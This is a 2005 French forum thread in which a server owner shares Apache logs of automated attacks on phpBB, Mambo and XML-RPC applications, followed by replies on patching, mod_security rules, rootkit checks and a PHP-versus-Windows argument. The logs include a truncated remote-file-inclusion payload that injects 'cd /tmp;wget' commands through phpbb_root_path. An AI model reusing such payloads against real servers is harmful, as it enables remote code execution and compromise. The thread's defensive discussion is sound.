Je t'écrit pour t'annoncer qu'il y'a depuis quelque jours (environ depuis le 10 Dec 2005), une tres forte augmentation d'attaque sur mon serveur web (apache), d'ailleur il a réussi à se faire compromettre.
Voici les test qu 'il essait de faire
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:08 +0100] "GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://xxx.xxx.xx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx.(...) HTTP/1.1" 404 337 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:09 +0100] "GET /Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://xxx.xxx.xxx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx(...) HTTP/1.1" 404 329 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:14 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:15 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 299 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:17 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 306 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:18 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 307 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:19 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:20 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 307 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:22 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:24 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:25 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:19:38:16 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 200 314 "-"
Donc si vous avez les projets suivant
phpbb
mambo
wordpress
phpgroupware
drupal
blogs utilisant le support xmlrpc
Je vous conseille de mettre à jours ces applis
Et par la même occasion de renommer les urls de vos appli afin d'éviter ce genre de scan automatique(bien entendu si le site n'est pas connue des moteurs de recherche).
Plus d'info ici
http://www.christopher-kunz.de/serendipity/archives/76-Mambo(...)
Variante
http://vil.nai.com/vil/content/v_136821.htm
# WordPress
Posté par Amand Tihon (site web personnel) . Évalué à 5.
# heu ...
Posté par Mouns (site web personnel) . Évalué à -10.
Ici meme, plein de gens ont tendance a lancer selon les occasions un "windows ca pue, c plein de bugs, plein de vers" ...
quand awstats a eu un probleme similaire, plein de monde a été craché sur perl, sur l'illisibilité, l'immaintenabilité, ... ( à part ca, les failles de secu dans perl, il n'y en a pas des masses ).
Si l'on remplace un peu par s/windows/php/ , on trouve facilement pleins de gens pour défendre PHP, l'esprit du libre, et dire que cela est faux que PHP est bien ...
mais au fait, windows, awstats et PHP n'ont ils pas tous simplement un probleme entre la chaise et le clavier des developpeurs ?
donc, ca serait cool que l'on arrete de dire "windows ca pue c boggé" ou que "perl c trop nul", alors que PHP contient moins de ligne de code que windows et a la societe Zend et une communauté derriere, et se mange regulierement des vers et des failles de sécurité.
[^] # Re: heu ...
Posté par Édouard Geuten (site web personnel) . Évalué à 6.
Parcque à ce que je sache, je n'ai jamais vus personne critique le ASM/C/C++ avec comme argument que Windows est fait avec ça et que c'est pourris.
De la même maniére ici ce n'est pas PHP qui est incriminé, mais des bugs/failles dans des logiciels écrit en PHP.
Bref, trop gros, passera pas.
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 2.
critiquer le C++, le C, ou l'assembleur est tout a fait possible mais sur ce qu'ils fournissent. le C ne fourni rien d'autre qu'un langage vide. si tu as un doute, essaie de faire un "hello world" sans utiliser un quelconque include.
PHP fourni toute une tripotée de trucs. bien souvent quand ce n'est pas l'interpreteur qui merde, c'est la configuration de PHP qui fait que ...
vu l'ampleur que prend PHP, je constate que l'on retrouve les memes problemes avec PHP qu'avec windows, sauf que là :
- PHP peut etre mis a jour facilement, simplement, gratuitement
- PHP a un code source public
- PHP publie des bulletin d'alerte
- PHP a un bug tracker public et des ML public
Donc au final, elle est ou la difference entre PHP et windows ? je maintiens que le probleme est avant tout humain pas technique. Mais dire, c'est la faute aux "vilains" autres est toujours plus facile que de se regarder soi ;)
[^] # Re: heu ...
Posté par Jylam / jylam.lnxsce (site web personnel) . Évalué à 9.
long int syscall (long int __sysno, ...) ;
int main()
{
syscall (4, 1, "Hello World\n", 12) ;
}
J'ai gagné ;)
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 2.
syscall() est dans unistd.h .
gcc -nostdinc -nostdlib me dit undefined symbol syscall ... :)
[^] # Re: heu ...
Posté par Jylam / jylam.lnxsce (site web personnel) . Évalué à 4.
Heu, tu vois un include dans mon code la ? tu n'as pas dit "sans include et sans librarie" (oui je sais on dit bibliotheque)
[^] # Re: heu ...
Posté par inico (site web personnel) . Évalué à 2.
Il n'y a pas d'include explicite mais des includes explicites dans ton codes.
Voili-voila :)
[^] # Re: heu ...
Posté par FReEDoM (site web personnel) . Évalué à 1.
ça marche comme un charme :)
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 0.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: heu ...
Posté par Matthieu . Évalué à 0.
Note : sous ubuntu, j'ai une icone qui s'affiche lorsqu'il faut que je mette à jour mon système, et si je veux le faire à un instant donné, j'ai une autre icone. La même chose que WindowsUpdate.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 1.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: heu ...
Posté par Matthieu . Évalué à -1.
On parle de vulnérabilité PHP, et ça finit pas la sacro-sainte croisade contre windows. Ce n'est pas, à mes yeux, très constructifs.
Mais peut-être que mon commentaire est lui aussi inutile. :-)
[^] # Re: heu ...
Posté par Krunch (site web personnel) . Évalué à -2.
pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.
[^] # Re: heu ...
Posté par Matthieu . Évalué à -2.
[^] # Re: heu ...
Posté par gnujsa . Évalué à 9.
Il te met à jour ton photoshop, ton itunes, ton xxx, ton WindowsUpdate ?
Parce que mon apt-get, lui, me met à jour tout mes softs, pas que la base du système, et il le fait chaque nuit, sans que j'ai à y penser.
Encore heureux que ce soit facile WindowsUpdate, vu ça ne fait pas grand chose. Mais apt/urmi/ou autre en crontab, c'est pas plus compliqué.
Ta remarque sur bugzilla est encore plus stupide, car ça concerne les bugs pas corrigés. Et comment il fait ton WindowsUpdate avec les bugs pas corrigés ? Il en parle pas ? Et bien tu a qu'a les ignorer aussi sous Linux!
[^] # Re: heu ...
Posté par Ymage . Évalué à 2.
- d'un côté, tu parle d'un poste client qui n'est pas censé exposer d'aspérités (services, etc.) vers Internet pour être sujet à des attaques.
- de l'autre de notion serveur où PHP participe, il est vrai, en tant que langage de programmation à exposer des services et donc des points d'entrées vers Internet.
Je rejoins donc l'idée que comparer Windows à PHP n'a pas de sens, tu peux éventuellement comparer Windows à Linux pour un usage comparable (serveur vs serveur ou client vs client), ou encore les possibilité de différentes extensions ou bibliothèques C/C++/Java/PHP mais en soit, comparer un langage de programmation avec un OS, là, je ne vois pas ...
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 2.
- ignorance des bases en securité
- absence de mises a jours
- nombres de machines compromises trop important
ce n'est pas tres compliqué de controler des parametres de l'exterieur des betes fonctions du genre :
$toto = je_ne_garde_que_les_nombres_et_le_point( get_param( "toto" ) )
cette fonction ne faisant qu'une substitution de tous les caracteres n'etant pas un nombre ou un point ( une regexp ).
des fonctions comme celles la forment la base pour eliminer tout risque d'injection aussi conne qu'une injection via un wget ...
sinon aucun de vous n'a noté qu'il reporte une faille dans Mambo ( http://seclists.org/lists/bugtraq/2005/Dec/0058.html ) parlant du ver elxbot et que l'auteur semble la confondre avec un autre ver lupper ( http://vil.nai.com/vil/content/v_136821.htm ) qui utilise la faille XML_RPC de PHP datant de juillet 2005 ?
[^] # Re: heu ...
Posté par Ymage . Évalué à 0.
- ignorance des bases en securité
- absence d'entretien des plaquettes de frein, du niveau d'huile, etc.
- nombres de voitures en mauvais état trop important
Par ailleurs dans ton exemple, tu parles d'une mauvaise programmation (pas de vérification des paramètres). Ce type de problème n'est pas lié à PHP, il me semble lire régulièrement des annonces de failles de type buffer-overflow dans des langages tout autre.
Quand on découvre une faille dans Windows, personne n'accuse le C++ d'y être pour quelque chose.
Donc merci de ne pas faire de lien entre un langage et les applications qui sont développées avec.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 1.
- C = langage de programmation ( pas de libc désolé :p )
- C++ = langage de programmation + a la rigueur le peu qu'est la STL
- PHP = langage de programmation + ensemble de bibliotheques + VM d'execution
- Perl = langage de programmation + ensemble de bibliotheques + VM d'execution
- Windows = ensembles de bibliotheques + VM d'execution + a la rigueur langages de scripts tel que les WSH VBScript et JScript
[^] # Re: heu ...
Posté par Ymage . Évalué à 2.
Il vaut mieux lire ça que d'être aveugle. Il me semblait au dernière nouvelle que C++ et Windows était aussi un peu lié quand même, non ?
A ce rythme, on met tout dans le même panier dès lors qu'il y'a un utilisateur dans la boucle et la sécurité de Windows est lié aux failles de C++, la sécurité de Mambo, phpBB est lié aux failles de PHP, etc.
En tout cas, je suis content d'apprendre que tout langage de script ou disposant d'une VM (comme Java par exemple) est pour toi comparable à un OS.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: heu ...
Posté par Ymage . Évalué à 1.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 2.
cela s'appelle comment ce que tu viens de dire ?
[^] # Re: heu ...
Posté par Ymage . Évalué à 1.
Hum.... une vérité qui blesse ??? :-)
A la prochaine.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: heu ...
Posté par Mouns (site web personnel) . Évalué à 2.
[^] # Re: heu ...
Posté par Ymage . Évalué à 0.
Si penser cela peut t'aider à te donner bonne conscience et te convaincre que tu es dans le vrai, qu'il en soit ainsi. Quoi qu'il en soit, tu n'avances toujours pas plus d'arguments.
Et j'attends toujours que tu dises quelque chose d'intéressant et convaincant sur ton rapprochement entre PHP et Windows.
D'ici là, je continuerai à penser que tu as dit n'importe quoi et que pour une raison d'orgueil, tu n'es pas fichu de reconnaître que tu t'es trompé:
PHP est un langage de programmation comme tant d'autres et le problème vient de ce que l'on en fait et les failles découlent de cela comme avec tout autre langage.
Windows un système d'exploitation qui prend en charge l'accès et la gestion des ressources systèmes et on en attend par là une certaines gestion de la sécurité afférente, ce que l'on attend pas d'un langage de programmation.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
# Et PhpMyAdmin
Posté par chl (site web personnel) . Évalué à 2.
[^] # Re: Et PhpMyAdmin
Posté par Bruno Adele (site web personnel) . Évalué à 0.
Alias /sec_dotclear/ /usr/local/dotclear/
Alias /secure_phpmyadmin /usr/local/phpmyadmin/
[^] # Re: Et PhpMyAdmin
Posté par Ymage . Évalué à 1.
Je pense que la suggestion de renommage concernait carrèment les nom des fichiers de script eux-mêmes mais cela signifie aussi aller vérifier les interdépendances entre les différents fichiers de l'application.
Si vous n'aimez pas ce commentaire c'est qu'il est ironique.
[^] # Re: Et PhpMyAdmin
Posté par B16F4RV4RD1N . Évalué à 6.
Ex : config.php -> conf_ig_6516.php etc.
ce qui rendrait ces fichiers plus difficile à trouver pour un hacker
Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it
[^] # Re: Et PhpMyAdmin
Posté par Bruno Adele (site web personnel) . Évalué à 1.
Car je disais
Ce qui voulait dire, un serveur web inconnue des moteurs des recherches et d'autre site, donc en gros un serveur web pour son utilisation personelle.
Mais en aucun cas j'ai dis que c'etait la solution miracle contre les attaques( c'est juste un conseil)
# Utilisation de mod_security et des htaccess
Posté par inico (site web personnel) . Évalué à 2.
Si le serveur web refuse ou demande une identification avant de traiter les requetes piégé, le worm n'aura aucun effet.
Ca n'empeche pas de mettre à jour ses applications web mais je pense que bloquer les requetes potentiellement piégé aiderait contre les failles à l'avenir.
(Deja bloquer les requetes qui contiennent un "wget http://" ca limiterai les probléme)
[^] # Re: Utilisation de mod_security et des htaccess
Posté par Nico . Évalué à 1.
Mais pour ceux qui, comme moi, utilisent parfois wget pour télécharger ça risque d'être ennuyeux.
[^] # Re: Utilisation de mod_security et des htaccess
Posté par Pascal Terjan (site web personnel) . Évalué à 3.
A ce propos http://www.modsecurity.org/ a l'air pas mal pour ce genre de protections.
[^] # Re: Utilisation de mod_security et des htaccess
Posté par Anonyme . Évalué à 2.
Dans le cas de ce worm il fait un wget adresse_ip (sans le http).
# Bingo !
Posté par Kalimero . Évalué à 1.
Comme quoi même un petit serveur hébergé à la maison, référencé nulle part, utilisé avec un DNS dynamique (DynDNS) et allumé quelques heures par jour seulement peut se faire attaquer ... Décidemment, Internet est un monde dangereux ;-)
[^] # Re: Bingo !
Posté par serge_kara . Évalué à 2.
[^] # Re: Bingo !
Posté par Kalimero . Évalué à 0.
Malgré tout mon serveur ne doit pas être trop mal protégé vu que je viens d'avoir droit à une deuxième couche d'attaques et que je n'ai pas l'impression que les digues aient sautées. Mais rien n'est moins sûr et le fait est que je ne suis pas un caïd d'Apache. Donc si tu as des tuyaux sur la façon de vérifier si je n'ai pas été compromis, je suis preneur !
Je viens de regarder les fichiers modifiés au cours de la journée (find / -mtime -1 \! -type d -print) et je n'ai rien détecté de suspect, mais comme je ne sais pas trop ce que je dois chercher ...
[^] # Re: Bingo !
Posté par serge_kara . Évalué à 2.
Par contre, ce qui est sur, c'est que les plages d'ip de free, mamadoo, 9 etc. sont des cibles de choix pour une personne qui cherche une machine facile a compromettre, etant donne le niveau a priori super faible de l'administrateur suppose de la machine.
Et que donc des scans de ces plages d'ip et des attaques automatisees sont beaucoup plus "normales" que sur des serveurs pro avec des mecs qui savent y faire derriere.
[^] # Re: Bingo !
Posté par Kalimero . Évalué à 1.
Y'a pas de mal, vu que je ne suis qu'un amateur un peu aguéri et pas un pro ... (Tiens, ceci dit, puisque tu m'y fait penser, faut que je m'en prépare une pour ce soir de ouiche lorraine (pour reprendre Dustin Hofman dans "Le grand détournement" ... à moins que ce ne soit "La classe américaine" ...))
Sinon en effet l'histoire du scan sur des adresses grand public est loin d'être con, je n'avais pas pensé à ce détail. Donc va falloir que je blinde au maximum la bête. Est-ce que quelqu'un a testé http://www.modsecurity.org/ sur une Debian (j'ai cru voir que des paquets étaient disponibles ...) et aurait un lien sur la manière de configurer simplement tout ça ?
[^] # Re: Bingo !
Posté par Raoul Volfoni (site web personnel) . Évalué à 2.
Commences donc par installer rkhunter et/ou chkrootkit puis mets une vérif journalière dans un crontab juste après le backup que tu ne dois pas manquer d'avoir. ;)
[^] # Re: Bingo !
Posté par Raoul Volfoni (site web personnel) . Évalué à 3.
J'utilise ce script en python depuis 6 mois, et son installation m'a changé la vie.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.